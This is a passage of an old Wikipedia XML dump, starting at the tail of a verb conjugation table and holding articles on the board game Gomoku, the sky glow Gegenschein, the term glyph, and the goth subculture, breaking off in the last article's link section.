|ihr seid
|(vosotros / vosotras) sois
|vós sois
|ni är
|jūs esat
|voi siete
|'tum log ho/aap log ho/aap log hain'
|-
|3rd plural
|they are
|(eī/eae/ea) sunt
|ils / elles sont
|sie sind
|(ellos / ellas / ustedes) son
|eles / elas / vocês são
|de är
|viņi, viņas ir
|loro sono
|'ve hain'
|-
|Formal
|~
|~
|vous êtes
|Sie sind
|~
|~
|~
|~
|'aap ho/aap hain'
|}

==See also==
*[[Word class]]
*[[Screeve]]
*[[Latin verbs]]

==External links==
*[http://www.scientificpsychic.com/verbs1.html Conjugation of over 7,000 English verbs.]
*[http://www.verbix.com/webverbix/ Online Conjugator for 85 different languages]
*[http://www.helloworld.com.es/ Spanish Verb Conjugation]and English Verb Conjugation. Free Conjugators - Trainers here. New Spanish Verb Conjugator now with Sound Files. Practice Conjugating and Pronouncing Spanish Verbs.
*[[wiktionary:Wiktionary Appendix:Conjugations|Conjugations]] at Wiktionary, Wikipedia's sister project

[[Category:Linguistic morphology]]

[[ca:Conjugació]]
[[de:Konjugation (Grammatik)]]
[[es:Conjugación]]
[[eo:Konjugacio]]
[[fr:Conjugaison]]
[[he:בניין (שפה)]]
[[nl:Vervoeging]]
[[ja:活用]]
[[sv:Konjugation]]
[[wa:Codjowaedje]]</text>
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    <title>Gomoku</title>
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      <timestamp>2006-02-19T17:41:32Z</timestamp>
      <contributor>
        <ip>85.216.196.252</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''Gomoku''', '''go-moku''', or '''gobang''' ([[Japanese language|Japanese]]: 五目並べ, Gomoku Narabe, &quot;five points&quot;) is an [[abstract strategy]] [[board game]]. It is traditionally played with [[Go (board game)|go]] pieces (black and white stones) on a go board (19x19 intersections); however, because once placed pieces are not moved or removed from the board, gomoku may also be played as a [[Paper and pencil game]].

Black plays first, and players alternate in placing a stone of their color on an empty intersection. The winner is the first player to get an unbroken row of five stones horizontally, vertically, or diagonally. Gomoku is known in [[Korean language|Korean]] by its cognate '''omok''' (오목) and in [[Chinese language|Chinese]] as &quot;五子棋&quot; ([[Pinyin]]: wǔzǐqí).

==Example game==
[[Image:gomoku-game-1.png|right|300px|Moves 1-21 of a game of gomoku]]

This game on the 15×15 board is adapted from the paper &quot;Go-Moku and Threat-Space Search&quot;.

The opening moves show clearly black's advantage. An open row of three (one that is not blocked by an opponent's stone at either end) has to be blocked immediately, or countered with a threat elsewhere on the board. If not blocked or countered, the open row of three will be extended to an open row of four, which threatens to win in two ways. White has to block open rows of three at moves 10, 14, 16 and 20, but black only has to do so at move 9.

Move 20 is a blunder for white (it should have been played next to black 19). Black can now force a win against any defence by white, starting with move 21.

&lt;br style=&quot;clear:both&quot; /&gt;[[Image:gomoku-game-3.png|right|300px|Moves 22-39 of first variation]]

There are two forcing sequences for black, depending on whether white 22 is played next to black 15 or black 21. The diagram on the right shows the first sequence. All the moves for white are forced (except for 38, but by then it is too late). Such long forcing sequences are typical in gomoku, and expert players can read out forcing sequences of 20 to 40 moves rapidly and accurately.

&lt;br style=&quot;clear:both&quot; /&gt;[[Image:gomoku-game-2.png|right|300px|Moves 22-37 of second variation]]

The diagram on the right shows the second forcing sequence. This diagram shows why white 20 was a blunder; if it had been next to black 19 (at the position of move 32 in this diagram) then black 31 would not be a threat and so the forcing sequence would fail.

&lt;br style=&quot;clear:both&quot; /&gt;

==Variations==
Black was long known to have a big advantage, even before [[L. Victor Allis]] proved that black could force a win (see below). So a number of variations are played with extra rules that aimed to reduce black's advantage.

* '''Free-style gomoku''' is the basic game as described above.
* '''Standard gomoku''' requires a row of exactly five stones for a win: rows of six or more, called '''overlines''', do not count.
* The rule of '''three and three''' bans a move that simultaneously forms two open rows of three stones (rows not blocked by an opponent's stone at either end).	
* '''Gomoku+''' the winner must have an unbroken row of five stones and this row must not be blocked at either end. This rule makes Gomoku more flexible and provides more power for White to defend.
* The rule of '''four and four''' bans a move that simultaneously forms two rows of four stones (open or not).	 
* The [http://www.littlegolem.net Little Golem] game server has a &quot;forbidden zone&quot; where black cannot play his second move.
These restrictions are often applied only to black.

* '''[[Renju]]''' is played on a 15×15 board, with the rules of three and three, four and four, and overlines applied to black only. There are special rules for the opening.
* '''Ninuki-renju''' or '''Wu''' is a variant which adds capturing to the game; it was published in the USA in a slightly simplified form under the name [[Pente]].
* [[mnk-games|''m'',''n'',''k''-games]] are a [[generalized game|generalization]] of gomoku to a board with ''m''×''n'' intersections, and ''k'' in a row needed to win.
* Connect(''m'',''n'',''k'',''p'',''q'') games are another [[generalized game|generalization]] of gomoku to a board with ''m''×''n'' intersections, ''k'' in a row needed to win, ''p'' stones for each player to place, and ''q'' stones for the first player to place for the first move only. Among these games, Connect(''m'',''n'',6,2,1) is the most interesting one, and is called [[Connect6]].

==Analysis==
Computer search by [[L. Victor Allis]] has shown that on a 15x15 board, black wins with [[perfect play]]. This applies regardless of whether overlines are considered as wins, but it assumes that the rule of three and three is not used. It seems very likely that black wins on larger boards too.

[[Generalized game|Generalized]] gomoku is [[PSPACE-complete]].

==See also==
* [[Solved board games]]
* [[Go (board game)|Go]]
*[[Connect6]], can be called a revised version of Gomoku, with no &quot;no 3-3's&quot; rule, etc
* [[Pente]]

== External links ==
* [http://www.littlegolem.net/ LittleGolem] - Website for playing turnbased Gomoku
* [http://www.bartow.ys.pl/gomoku/english/ Gomoku website] - Site about game Gomoku
* [http://gomoku.ys.pl/ Gomoku]
* [http://www.gomoku.boo.pl/ Gomoku website] - Polish site about game Gomoku
* [http://www.renju.nu/ Renju International Federation website]
* [http://www.itsyourturn.com/ ItsYourTurn.com] - Another website for playing turnbased Gomoku
* [http://www.flyordie.com/board-games/go-moku.html Multiplayer Gomoku Game]

==References==
* [[L. Victor Allis]], Searching for Solutions in Games and Artificial Intelligence,  Ph.D. thesis, University of Limburg, The Netherlands, 1994 (ISBN 90-9007488-0) [http://www.cs.unimaas.nl/~uiterwijk/AllisPhD.htm].
* [[L. Victor Allis]], H. J. van den Herik, M. P. H. Huntjens, Go-Moku and Threat-Space Search [http://www.renju.nu/proof/Go-Moku.pdf].
* Stefan Reisch, Gobang ist PSPACE-vollständig (Gomoku is PSPACE-complete). Acta Informatica, 13:5966, 1980.

[[Category:Abstract strategy games]]
[[Category:Japanese games]]
[[Category:Paper and pencil games]]

[[de:Fünf in eine Reihe]]
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  <page>
    <title>Gegenschein</title>
    <id>12903</id>
    <revision>
      <id>36447924</id>
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      <contributor>
        <username>Zzzzzzzzzzz</username>
        <id>830021</id>
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      <text xml:space="preserve">'''Gegenschein''' ([[German language|German]] for ''counterglow'') is a faint brightening of the night sky in the region of the [[zodiac]] directly opposite the [[Sun]] caused by reflection of sunlight by small [[Cosmic_dust|dust]] particles released both by
[[asteroid]]s during their mutual collisions, and by [[comet]]s during the
development of their dust tails. Due to complex interactions between
the dust particles and [[solar radiation]], this dust collapses towards the Sun,
building up an ellipsoidal cloud of dust particles centered on our star, where the density
of particles increases towards the Sun. The gegenschein is a subtle visual and geometrical effect 
caused by the light ''we see'' reflecting off of the dust particles better in the backwards
direction than in other directions. Therefore, the gegenschein appears as a 
softly glowing oval region a few degrees wide and 10-15° in length, oriented 
along the plane of the [[ecliptic]]. It is so faint that it cannot be seen if there is any [[Moon|moonlight]] or if it falls in the vicinity of the [[Milky Way]].

The gegenschein was discovered in [[1854]] by the Danish astronomer [[Theodor Brorsen]].

The gegenschein is one of several skyglows that also include the [[zodiacal light]] and the [[zodiacal band]]. 

==See also==
* [[Optical phenomenon]]

==External links==
*[http://www.swisseduc.ch/stromboli/volcano/photoastro/gegenschein-en.html Astrophotographs of the gegenschein]



[[Category:Optical phenomena]]
[[Category:Solar System]]
[[Category:Unclassified nebulae]]
[[Category:German loanwords]]

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  <page>
    <title>Glyph</title>
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      <comment>fixed redirect</comment>
      <text xml:space="preserve">{{unreferenced}}
[[Image:Astrological Glyphs.jpg|thumb|right|These are the [[astrological]] [[glyph]]s as most commonly used in [[Western astrology|Western Astrology]]]]
A '''glyph''' is a carved figure or character, incised or in relief; a carved pictograph; hence, a pictograph representing a form 
originally adopted for sculpture, whether carved or painted.  Augustan English scholars of the early 18th century, imitating French antiquaries, adopted ''glyph'' from the Greek word meaning a &quot;carving.&quot;  Compare the carved and incised &quot;sacred glyphs&quot; [[Egyptian hieroglyph|hieroglyph]]s, which have had a longer history in English dating from the first Elizabethan translation of Plutarch (who adapted &quot;hieroglyphic&quot; as a Latin adjective). But &quot;glyph&quot; first came to widespread European attention with the engravings and lithographs from [[Frederick Catherwood]]'s drawings of undeciphered glyphs of the [[Maya civilization]] in the early [[1840]]s. &quot;Glyphs&quot; still bring connotations of Maya glyphs to mind.   

In [[typography]], a '''glyph''' is an [[allograph (handwriting)|allograph]]: a particular graphical representation of a [[grapheme]], or sometimes several graphemes in combination, or only a part of a grapheme. In [[computing]] as well as typography, the term ''[[character (computing)|character]]'' refers to a grapheme or grapheme-like unit of text, as found in [[natural language]] [[writing system]]s (''scripts''). A character or grapheme is a unit of [[text]], whereas a glyph is a [[graphics|graphical]] unit.

For example, the sequence ''ffi'' contains three characters, but will be represented by ''one glyph'' in [[TeX]], since the three characters will be combined into a single [[ligature (typography)|ligature]]. Conversely, some [[typewriter]]s require the use of multiple glyphs to depict a single character (for example, two [[hyphen]]s in place of a [[dash]], or an overstruck [[apostrophe]] and [[full stop|period]] in place of an [[exclamation mark]]).

Most glyphs in typography originate from the carved and cast characters of a ''[[typeface]]'', also called a ''font''. In computing, ''font'' refers to a typeface manifesting as an indexed collection of glyphs or glyph-rendering instructions, and associated information that facilitates rendering mapping characters to glyphs and for rendering glyphs in different sizes. For a given typeface or font, each character typically corresponds to a single glyph. However, this is not always the case, especially in a font used for a language with a large alphabet or complex writing system, where one character may correspond to several glyphs, or several characters to one glyph.

In [[graphonomics]], the term '''glyph''' is used for a non-character, i.e., either a sub-character or multi-character pattern.

== See also ==
* [[Typeface]]

[[Category:Infographics]]
[[Category:Symbols]]
[[Category:Typography]]

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  <page>
    <title>Goth</title>
    <id>12905</id>
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      <id>42162339</id>
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      <comment>Revert to revision 42149679 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Gothic_girl.jpg|thumb|200px|Gothic woman, traditional style, with [[big hair]], spikes and piercings]]

:''This article is about the contemporary goth/gothic [[subculture]]. For the [[Germanic tribes]] of the same name, see the [[Goths]].''

'''Goth''' is a modern [[subculture]] that first became popular during the early 1980s within the [[gothic rock]] scene, an offshoot of [[post-punk]].  It is associated with characteristically &quot;gothic&quot; tastes in music and [[Gothic fashion|clothing]]. Styles of dress range from [[death rock]], [[punk fashion|punk]], [[Victorian fashion|Victorian]], [[androgyny]], some [[Renaissance]] style clothes, a combination of the above, and/or lots of [[black]] attire, and makeup.
==English usage==
The word &quot;goth&quot; can be used as a noun, e.g. &quot;my best friend is a goth.&quot; Plurally, an S is added, e.g. &quot;at the club there were many goths.&quot; &quot;Gothic&quot; and &quot;goth&quot; can also be used interchangeably as adjectives, e.g. &quot;she was wearing a gothic necklace&quot; or &quot;he is goth&quot;. The word &quot;gothic&quot; is sometimes used as a noun in non-English speaking countries, as in &quot;I saw a gothic&quot;; this is comparatively rare and grammatically incorrect in English.
&quot;Goth&quot; cannot be used as a singular name for a group of people or the subculture in general. &quot;A member of goth&quot;, for example, is incorrect because &quot;goth&quot; is not the name of an organized group. To refer correctly to the entire group of people, one says &quot;goths&quot;, &quot;the goth subculture&quot;, or possibly &quot;the gothic subculture&quot;. &quot;Gothic&quot;, when used as an adjective, can potentially refer to anything dark or horrifying, or something influenced by medieval [[Gothic art]], and not necessarily to something associated with modern gothic subculture.


==Origins and influences==
[[Image:Goth-p1010510.jpg|thumb|200px|left| Long or eccentric hair and black leather [[trench coat]]s are features that are sometimes associated with a gothic look.]]

===Original subculture===
By the late 1970s, there were a small number of [[post punk]] bands in [[Britain]] labeled &quot;gothic.&quot; However, it was not until the early 1980s that [[gothic rock]] became its own [[Music genre|subgenre]] within [[post-punk]] and that followers of these bands started to come together as a distinctly recognisable group or movement. The opening of the [[Batcave (London nightclub)|Batcave]] in [[London]]'s [[Soho]] in July 1982 might be seen as marking the emergence of this scene (which had briefly been labeled [[positive punk]] by the [[New Musical Express]])[[http://www.scathe.demon.co.uk/batcave.htm]]. As one of the most famous meeting points for early goths, it lent its name to the term &quot;Batcaver,&quot; used to describe old-school goths.
Independent of the British scene, the late 1970s and early 1980s saw [[death rock]] branch off from American punk [[http://www.alicebag.com/dinahcancerinterview.html]].

===Etymology and Gothic horror literature===
Goth was originally the name of a [[Germanic tribe]], the [[Goths]], who played an important role in the fall of the western [[Roman Empire]].  Like another similar tribe, the [[Vandals]], the name &quot;goth&quot; later became pejorative synonymous with &quot;[[barbarian]]&quot; and being uncultured.  During the [[Renaissance]] period in [[Europe]], medieval [[architecture]] was retrospectively labeled [[gothic architecture]], and was considered ugly and barbaric in contrast to the pure lines of [[classical architecture]].  In Britain by the late 1700s, however, nostalgia for the medieval period destroyed by the [[Reformation]] led people to become fascinated with medieval gothic ruins (even building fake ruins). This was often combined with an interest in medieval [[romance]]s, [[Roman Catholic Church|Roman Catholic]] religion and the supernatural. Enthusiasts for [[gothic revival architecture]] in Britain were led by [[Horace Walpole]], and were sometimes nicknamed goths, the first positive use of the term in the modern period. 
It was the [[gothic novel]] of the early [[nineteenth century]], a genre founded by Walpole, that was responsible above all else for the term ''gothic'' being associated with a mood of [[Horror (emotion)|horror]], morbidity, darkness and the supernatural. These stories established what became horror stereotypes by featuring [[graveyard]]s, ruined [[castle]]s or [[church]]es, [[ghost]]s, [[vampire]]s, [[nightmares]], [[curse]]d families, being [[Burial|buried alive]] and [[melodrama|melodramatic]] plots. 

[[Image:Nd7.jpg|thumb|200px|Big hair, tight black jeans, and odd thrift store clothing are standards of goth and post-punk fashion]]
Certain elements in the dark, atmospheric music and dress of the [[post punk]] scene were clearly &quot;gothic&quot; in this sense, exemplified in the names of [[post punk]] bands like &quot;[[UK Decay]]&quot; or [[Southern Death Cult]]. It was the use of &quot;gothic&quot; as an adjective in describing the music and its followers, which led to the term &quot;goth&quot; being given to the subculture.

In [[Germany]], members of the goth subculture were called ''[[Grufties]]'' (engl. ''&quot;vault creatures&quot;'' or ''&quot;tomb creatures&quot;'') in the '80s and early '90s. They were generally a fusion between the goth style &amp; the [[New Wave music|New wave]] subculture.

===Early influences from Gothic literature and cinema===
[[Image:Goth-p1010691.jpg|thumb|200px|left|Gothic woman with elaborate clothing of black [[lace]] and skull-shaped jewelery]]
The influence of the [[gothic novel]] on the goth subculture originally came second hand, through the popular imagery of [[horror films]] and television. In particular, the imagery surrounding male and female vampires had a significant influence on the evolution of [[gothic fashion]]. A notable element in the [[gothic novel]] was the brooding figure of the gothic [[villain]], which developed into the [[Byronic hero]], a key precursor to the male goth image. The most famous gothic villain is the [[vampire]], [[Dracula]], but it was the iconic portrayal of [[Bela Lugosi]], rather than [[Bram Stoker]]'s original novel, which appealed to early goths, who were attracted by Lugosi's aura of camp menace. Some people even credit [[Bauhaus]]' first single &quot;[[Bela Lugosi's Dead]]&quot;, with the start of the Gothic movement, though there are other contenders. 

The concept of the [[femme fatale]], which appeared in [[romanticism|romantic]] literature as well as in the [[gothic novel]], went on to become a vital image for female goths. In cinema the femme fatale style adopted by silent movie actress [[Theda Bara]] (whose first name is an anagram for &quot;death&quot;), nicknamed the [[vamp]], established the look for pale predatory women in later films, and was eventually adopted by [[Siouxsie Sioux]]. 

The powerful imagery of horror movies began in German expressionist cinema in the twenties then passed onto the [[Universal]] films of the thirties, then to camp horror B films such as ''[[Plan 9 From Outer Space]]'' and then to [[Hammer Film Productions|Hammer Horror]] films. By the 1960s, [[television|TV]] series, such as ''[[The Addams Family]]'' and ''[[The Munsters]]'', used these stereotypes for camp comedy. 

Some of the early [[gothic rock]] and [[death rock]] artists adopted traditional horror movie images, and also drew on horror movie soundtracks for inspiration. Their audiences responded in kind by further adopting appropriate dress and props. Use of standard horror film props like swirling smoke, rubber bats, and cobwebs were used as goth club décor from the beginning in The Batcave. Such references in their music and image were originally [[tongue-in-cheek]], but as time went on, bands and members of the subculture took the connection more seriously. As a result, morbid, [[supernatural]], and [[occult]] themes became a more noticeably serious element in the subculture. The interconnection between horror and goth was highlighted in its early days by ''[[The Hunger]]'', a 1983 vampire film, starring [[David Bowie]], which featured gothic rock group Bauhaus performing &quot;[[Bela Lugosi's Dead]]&quot; in a nightclub. In 1993, [[Whitby]] became the location for what became the UK's biggest goth festival as a direct result of being featured in [[Bram Stoker]]'s ''Dracula''.

The word &quot;gothic&quot; in the literary sense is a broad term. It is hard to predict which direction gothic literature will take in the twenty-first century, but there is interest in many to adapt the old gothic influences and renew them. Gothic fiction before [[Edgar Allan Poe]], [[Algernon Blackwood]], and [[H. P. Lovecraft]] wasn't generally seen as frightening, particularly by today's gothic standards, though there were major authors who showed gothic sensibilities, such as [[Charles Dickens]] with his ghost story &quot;[[A Christmas Carol]].&quot;  As the gothic scene evolved, familiarity with gothic literature became a significant part of the subculture for some goths. Dropping &quot;Poe,&quot; &quot;Lovecraft,&quot; and the other heralding names became just as symbolic and popular as dressing all in black leather, wearing the hair long and dyed black, adorning oneself with dark jewelry and body art, and carrying around a Tim Burton lunchbox. 

A significant literary influence on the contemporary goth scene was not only the older gothic writers, but also [[Anne Rice]]'s re-imagining of the idea of the [[vampire]]. Rice's characters were depicted as struggling with eternity and loneliness, while their ambivalent sexuality had deep attractions for many goth readers, making her works very fashionable in the eighties. Movies based on her books have been filmed in recent years - notably ''[[Interview with the Vampire]]'', which starred Brad Pitt, and the more recent ''[[Queen of the Damned]]'', in which goths appear directly and indirectly. The first film, in particular, helped encourage the spread of Victorian style fashions in the subculture. Rice's novels influenced [[Poppy Z. Brite]]'s vampire novels. Brite, who is familiar with the goth scene, distinctively refers to it in her novels as the location of where her vampires hunt. Both Brite and Rice are connected to [[New Orleans]], often seen as a gothic mecca.

One reason &quot;gothic&quot; is such a broad term is because its content and themes can vary greatly. For example, as aforementioned, some gothic writers like Brite and Rice utilize erotic themes while other writers, such as [[Rod Serling]], do not use an erotic undercurrent at all. Works that vastly differ from one another in these and many more ways still share the category of gothic literature, such as Serling's '''[[Night Gallery]],'' [[Macey Baggett Wuesthoff]]'s ''[[Sacrifice]]'', [[Washington Irving]]'s [[&quot;The Legend of Sleepy Hollow]]&quot; and [[Joseph Armstead]]'s ''[[Darkness Fears]]'' and Moon-Chosen series.

==Goth after post-punk==
[[Image:cainprofile.jpg|thumb|200px|German goth, wearing a punk band t-shirt.]]
After the demise of [[post punk]], goth continued to evolve, both musically and visually. This caused variations in style (&quot;types&quot; of goth). Local scenes also contribute to this variation. By the 1990s, Victorian fashion saw a renewed popularity in the goth scene, drawing on the mid-19th century [[gothic revival]] and the morbid outlook of the [[Victorians]] (partly owing to the state of national mourning which developed in response to [[Prince Albert of Saxe-Coburg-Gotha|Prince Albert]]'s death, and partly to the Victorians' general obsession with [[Christianity|Christian]] [[funeral]] practices). The 2003 [[Victoria and Albert Museum]] Gothic exhibition in London furthered a tenuous connection between modern goth and the [[gothic architecture|medieval gothic period]].

Over time, gothic culture has developed its own &quot;goth slang&quot;, with regional variations.

===Later media influences===
As the subculture became well-established the connection between goth and horror fiction became almost a cliche with goths quite likely to appear as characters in horror novels and film. Movies such as ''[[The Crow]]'' drew directly on goth music and style, and the movies of [[Tim Burton]], especially ''[[Beetlejuice]]'', featuring a goth teen, ''[[Edward Scissorhands]]'', ''[[The Nightmare Before Christmas]]'',  and ''[[Corpse Bride]]'' are all significant. In turn they drew new people into the goth scene. [[Anne Rice]]'s book series &quot;The Vampire Chronicles&quot; and the popular roleplaying game ''[[Vampire: The Masquerade]]'' also referred directly to goth music and culture and encouraged an interest in the scene.  In these pop-culture depictions of vampires, vampires are depicted as suave, gothic sophisticates, with naturally darkened eyes and pallid skin. Influences from [[anime]] as well as [[cyberpunk]] fiction such as ''[[The Matrix series|The Matrix]]'' have also crept into the goth scene, which helped give rise to [[Cyber subculture|cybergoth]]. [[Image:kristengoth4.jpg|thumb|200px|Example of vampiric influence on goth makeup.]]  

====Current use of the term ''Goth''====
By the 1990s, the term &quot;goth&quot; started to become once again contentious in the English speaking world. New youth subcultures either evolved or became more popular, which ordinary people and the popular media tended to term &quot;goth&quot;. This was based primarily on appearance, and the fashions of the subcultures, rather than the musical genres of the bands associated with them. As time went on, the term was bastardized even further in popular usage, being sometimes applied to groups that had neither musical nor fashion similarities to the original goth subculture, such as [[Emo (slang)|Emo]] fans.

This has led to the introduction of terms which some goths use to distinguish members of the other subcultures from goths. These include ''[[mallgoth]]s'' or Neo-Goths in the US, ''[[gogan]]s'' in Australia, and ''[[spooky kid]]s'' or ''[[moshers]]'' in the UK. [[Melbourne]] playwright [[Sai Ho]] is particularly vicious in his hatred of what he terms ''baby goths''. More positive terms, such as ''mini-goths'' or ''baby bats'', are also used by some older goths to refer to youths they see as exhibiting potential for growth into &quot;true&quot; goths later on.

The response of these younger groups to the older [[subculture]] varies. Some being secure in a separate subcultural identity feel deeply insulted at being called &quot;goths&quot; in the first place, while others choose to join the existing subculture on its own terms. Still others have simply ignored its existence, and decided to appropriate the term goth themselves, and redefine it in their own image. Even within the original subculture, changing trends in music have made defining what is and is not goth more complex.

==Elder goth==

An '''elder goth''' is an older member of the goth subculture, usually between the ages of 25 and 40. People over 40 who identify themselves as goth are generally considered to be '''geri-goths'''. Elder goths are generally longtime veterans of the scene, perhaps going back to the Batcave era, but there are some [[late bloomers]]. 

An elder goth is more likely to draw upon the artistic aspects of the scene, as opposed to their younger counterparts who often act out for shock value. Consequently, an older goth will regard a [[Mansonite]] as a &quot;poser&quot; or a &quot;pretty hate machine&quot; and refuse to acknowledge them as a fellow goth.

In contrast to the stereotypical image of a goth as outcast, some elders are married with families, and most have close knit ties with other members of the subculture. 

==Corporate goths==

Though some are lucky enough to find work in [[Bohemianism|Bohemian]] establishments that do not care what one looks like, elder goths often end up finding work in the corporate sector and wear corporate gothwear, which satisfies gothic tastes in fashion without alienating more conservative co-workers. Corporate gothwear varies based on individual taste, though a [[David Bowie]] influence is often prevalent. Examples include, but are not limited to, a black pinstripe suit and burgundy shirt for men and a black turtleneck and skirt with silver jewelry for women.

==Music==

The bands which began the [[gothic rock]] and [[death rock]] scene were limited in number, and included bands such as [[Bauhaus (band)|Bauhaus]], [[Siouxsie &amp; the Banshees]], [[Southern Death Cult]], and [[Christian Death]]. By the mid-eighties, the number of bands began proliferating and became increasing popular, including [[The Sisters of Mercy|Sisters of Mercy]], [[The Mission UK]], and [[Fields of the Nephilim]]. The nineties saw the further growth of eighties bands and emergence of many new bands, most of the [[North American]] examples being released by the [[Cleopatra Records|Cleopatra]] label. In the US, the subculture grew especially in New York and Los Angeles, with many nightclubs featuring gothic/industrial nights. The popularity of bands such as [[Dead Can Dance]] resulted in the creation of a label called [[Projekt]] that produces what is colloquially termed [[Ethereal]] as well as the more electronic [[Darkwave]], both forms of music popular with goths.

By the mid-1990s, styles of music that was heard in venues which goths attend ranged from [[gothic rock]], [[death rock]], [[darkwave]], [[List of industrial music subgenres|industrial]], [[Electronic body music|EBM]], [[synthpop]], [[punk rock|punk]], [[heavy metal music|metal]], [[techno music|techno]], to 1980s dance music. This variety was a result of a need to maximize attendance from everyone across the alternative music scene, particularly in smaller towns, but it also signaled new developments. Gothic rock was originally clearly differentiated from industrial and heavy metal by older participants in the alternative scene, but newcomers and media misconceptions blurred the boundaries in the nineties as [[gothic rock]] became significantly less popular in the US and UK. Thus while [[industrial]] or [[heavy metal music|heavy metal]] bands such as [[Marilyn Manson]], [[Jack Off Jill]], [[Nine Inch Nails]], [[Type O Negative]], [[Lacuna Coil]], [[Dimmu Borgir]], [[Cradle of Filth]], and [[Mortiis]] were often labeled as &quot;goth&quot; by the media, this categorization was strongly resisted by goths and indeed also by fans of the bands. Older goths responded by affecting increasing disdain for the popularity of [[Marilyn Manson]] and the likes. Even more confusion was added with the rise of [[gothic metal]], with such bands consciously using gothic imagery from the dark ages in their own music and appearance and started even following fashion trends indistinguishable from older goth ones.  Band t-shirts were now the only sure way of identifying someone's musical tastes from their fashion. Arguments about what music is and is not goth became an ever more significant part of how the subculture tried to define itself.

The other significant development of the nineties was the popularity of electronic dance bands like [[VNV Nation]] and [[Covenant]] in the goth scene. The rise of what has been called [[cybergoth]] music and style which has much in common with techno/synthpop, caused bitter divisions between those firmly attached to the guitar based sound of [[gothic rock]] and newcomers or other goths, whose musical and even fashion tastes changed. Bands with a [[darkwave]] sound or those such as [[The Cruxshadows]] which combine an electronic and gothic rock sound can appeal to both sides to some extent. 

Recent years have seen resurgence in the Batcave and [[death rock]] sound, in reaction to the EBM, [[futurepop]], and trance, which has taken over many goth clubs. Bands with a more early goth sound like [[Cinema Strange]], [[Black Ice]], and [[Antiworld]] are becoming very popular. Nights like Ghoul School and Release The Bats promote death rock heavily, and the [[Drop Dead Festival]] brings in death rock fans from all over the world. 

Today, the scene is most active in [[Western Europe]], especially [[Germany]], with large festivals such as [[Wave Gotik Treffen|Wave-Gotik-Treffen]], [[Zillo]], and others drawing tens of thousands of fans from all over the world.

==Religious Elements==

Religious imagery has frequently played an important part in [[gothic fashion]] and also in song lyrics. However, many goths aspire to free themselves from the perceived limitations of traditional belief systems, and express a belief in open-mindedness and diversity. 

One widespread misconception is that the goth subculture as a whole is represents a unified cult-like religion, when in reality there is a wide diversity of religious beliefs throughout the subculture. A large number of goths adhere to [[atheism]] or [[agnosticism]], not wanting to commit to organized religion or what they perceive to be repressive and/or irrational belief systems. An interest in [[neo-paganism]] and the occult amongst goths appears to be higher than amongst the general population.  Many goths also follow traditional religions such as Christianity or Judaism, creating a demand for religious goth arts and literature, as illustrated by such websites as [http://www.gothicchristianity.com GothicChristianity.com].

==Popular intolerance and media characterizations== 
Like many other music based subcultures, goths have faced differing levels of social intolerance due mostly to outward stylistic appearances. Social intolerance ranges from looks of indignation and verbal taunts to physical violence. A preoccupation with themes of [[death]], [[romance]], and the generally [[macabre]] have occasionally raised public concerns regarding the overall mental well-being of, mainly, young goths and general fears of cultic indoctrination. Such conceptions are often reinforced by popular media, as exemplified in the [[Columbine High School Massacre]], which was carried out by two troubled students inaccurately linked to the goth subculture. The Columbine massacre caused a widespread public backlash against the goth scene in America; however, investigators of the incident later denied that any such link between the students and the goth scene, in fact, existed [[http://www.salon.com/news/feature/1999/09/23/columbine/print.html]].

==Cultural significance and philosophy==

The goth subculture is best seen as a late offshoot of [[romanticism]] and [[neoromanticism]], with its fascination with the importance of the individual defining themselves through experiencing extreme emotions. The allure of dark and morbid imagery and moods for goths clearly lies in this tradition. Defining a philosophy of goth subculture is difficult because of the overwhelming importance of mood for those involved. Balancing this the other central element is a self-conscious sense of [[camp]] theatricality.

It should be noted the rise of the [[gothic novel]] saw such feelings of horror being exploited for a form of mass entertainment for commercial purposes, a process now continued in the modern horror film so important in defining goth. While in the nineteenth century individual defiance of social norms was a very risky business today it is far less radical in social terms. Thus the significance of goth's subcultural rebellion is strictly limited, and is tied into drawing on imagery at the heart of Western commercial culture. Unlike the [[hippy]] or [[punk culture|punk]] movement there is no wider political message predominant within the subculture, except for individualism, tolerance for sexual diversity, a dislike of social conservatism and a strong tendency towards cynicism, and even these ideas are not common to all goths. However, this is hardly surprising as the original goths were punks who had seen that a subculture no matter how radical could not shake the foundations of Western world. 

Occasional attempts of [[cultural appropriation]] by the mainstream of elements from [[gothic fashion]] have left the subculture largely intact. While people love going to see people dressed like goths in movies, there is little sign that many people, besides teenagers, wish to join them.

For the individual goth, joining the subculture can be extremely valuable and personally fulfilling, especially in creative terms. However, it also can be risky, especially for the young, because of the negative attention it can attract. The value that young people find in the movement is evidenced by its continuing existence after other subcultures of the eighties such as the [[New Romantics]] have long since died out. Paul Hodkinson's book explores how the Western cult of [[individualism]], usually expressed via [[consumerism]], is drawn on by goths and other subcultural groups. Many who are drawn to the culture have already failed to conform to the norms of existing society, and for its participants the goth [[subculture]] provides an important way of validating themselves against the outside world. Hodkinson shows how inside the goth [[subculture]] status can be gained via enthusiastic participation and creativity, in creating a band, DJ-ing, making clothes or writing a fanzine. He suggests that the selfconscious artificiality of a subculture is a valid alternative choice in a [[post-modern]] world, compared to submitting to the invisible manipulations of popular consumerism and the mass media.

==References==
* Baddeley, Gavin: ''Goth Chic: A Connoisseur's Guide to Dark Culture'' (Plexus, US, August 2002, ISBN 0859653080)
* Davenport-Hines, Richard: ''Gothic: Four Hundred Years of Excess, Horror, Evil and Ruin'' (1999: North Port Press. ISBN 0865475903 (trade paperback) - A voluminous, if somewhat patchy, chronological/aesthetic history of the Gothic covering the spectrum from Gothic architecture to The Cure.
* Hodkinson, Paul: ''Goth: Identity, Style and Subculture (Dress, Body, Culture Series)'' 2002: Berg. ISBN 1859736009 (hardcover); ISBN 185973605X (softcover)
* Kilpatrick, Nancy: ''The goth Bible : A Compendium for the Darkly Inclined''. 2004: St. Martin's Griffin. ISBN 0312306962
* [[Voltaire (musician)|Voltaire]]: ''What is Goth?'' (WeiserBooks, US, 2004; ISBN 1578633222) - a humorous and easy-to-read view of the goth subculture
* Andrew C. Zinn: ''The Truth Behind The Eyes'' (IUniverse, US, 2005; ISBN 0-595-37103-5) - Dark Poetry

== See also ==
* [[The Addams Family]]
* [[Mick Mercer]]
* [[Darkwave]]
* [[Gothic rock]]
* [[Post punk]]
* [[Death rock]]
* [[List of non-goth musical artists popular within goth subculture]]
* [[Gothic fashion]]
* [[Cyber (subculture)|Cybergoth]] 	 
* [[Gothic Lolita]]
* [[Ghost culture]]
* [[History of subcultures in the 20th century]]



== External links ==
{{Commons|Gothic people}}
{{Commonscat|Gothic subculture}}

===General Websites===
